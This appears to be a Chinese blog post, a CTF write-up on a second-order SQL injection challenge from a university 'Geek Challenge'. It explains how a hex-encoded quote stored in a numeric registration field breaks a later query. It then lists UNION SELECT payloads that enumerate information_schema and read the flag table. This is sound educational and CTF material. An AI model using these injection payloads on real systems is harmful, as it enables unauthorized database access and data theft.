1. 程式人生 > >第九屆極客大挑戰——小帥的廣告(二階sql注入)

第九屆極客大挑戰——小帥的廣告(二階sql注入)

引言:因為太想加入三葉草了,所以極客大挑戰這段時間一直在努力的學習,原來還真沒想到能在比賽中拿到排行榜第一的成績,不過現在看來努力始終都是有回報的。但我依然還是比較菜啊-.-,最近卻有很多夥伴加我好友,一來就叫我大佬,讓我深感有愧-.-,既然都想看我wp,那我就挑幾道題寫寫好了,口拙詞劣還望見諒。

 

也是經過一通掃描和測試,沒發現其他有用資訊,感覺這是個sql注入。其實對於二階sql注入我以前沒實踐過,也沒看過資料,只是知道這個名字,但不知道為何看到這道題就讓我回想起了這個名詞,所以查了一下二階sql注入的資料:二階sql注入。簡單來說,就是第一次構造的惡意資料直接儲存到了資料庫中,但在其他地方用到資料庫裡的資料來構造新的sql語句時沒有經過安全處理,便導致惡意語句被觸發了。

這道題有個很明顯的資料回顯就是註冊一個使用者並登陸後會在主頁顯示註冊時所填寫的資料,所以我一開始的想法就是在註冊時填寫構造好的sql語句,然後再登陸檢視自己資訊,不就成功實現了注入攻擊。反覆測試,發現 WHAT'S UP 處理並不得當,在此處填寫單引號時會顯示註冊失敗,這就說明,單引號未被轉義直接拼接到了原sql語句中導致了sql語句錯誤。

   

 

猜測註冊頁面的的sql語句應該是

insert into users(username,password,lucknum,whatsup) values('','',1,'')

其中的username和password應該是經過安全處理,單引號無法逃逸,而lucknum只能輸入數字,所以剩下whatsup可成為注入點,insert into 注入,但是出了點小意外,沒有成功,暫時放一放...

 

幾經折騰,終於把目光放在了這個luckynum上面。可能會疑惑luckynum只接受數字,怎麼能構造sql語句呢,其實是可以用字串的16進位制來表示的,例如

所以先在luckynum處構造一個單引號看看結果驗證一下猜想

看到user info裡面什麼也沒有,說明後臺在查詢我這個leixiao002使用者時,sql語句是錯誤的,所以沒有查到任何資訊。

梳理一下邏輯

1.使用者註冊賬號,填寫密碼及其他資訊

insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')

2.使用者用賬號密碼嘗試登陸,後臺用賬號密碼執行sql查詢

select * from users where username='leixiao002' and password='1'

3.查詢到資料就進入登入介面並顯示該使用者資訊

//顯示username,luckynum,whatsup

這麼看來並沒有lucknum什麼事,大不了顯示出來lucknum就是一個單引號而已,為什麼lucknum為單引號就出錯呢,重新推測下處理邏輯如下,雖然我感覺不合理,但這應該是出題人故意留下的漏洞,全靠直覺...有錯望指正。

1.使用者註冊賬號,填寫密碼及其他資訊

insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')

2.使用者用賬號密碼嘗試登陸,後臺用賬號密碼執行sql查詢,正確就進入登入介面

select * from users where username='leixiao002' and password='1'

3.查詢到資料luckynum的內容

lucknum='

4.再次執行查詢

select * from users where username='leixiao002' and password='1' and luckynum='''

5.如果4的語句正確就顯示使用者資訊

看到4的sql語句最後面多了一個',所以出錯。

 

依據4的語句,接著構造出

select * from users where username='leixiao00x' and password='1' and luckynum='' union select 1,1,database()

爆出了資料庫名

 

接著再註冊幾個賬號,逐步構造以下語句就可

1: ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

2: ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

3. ' union select 1,2,easyflag from fl4g#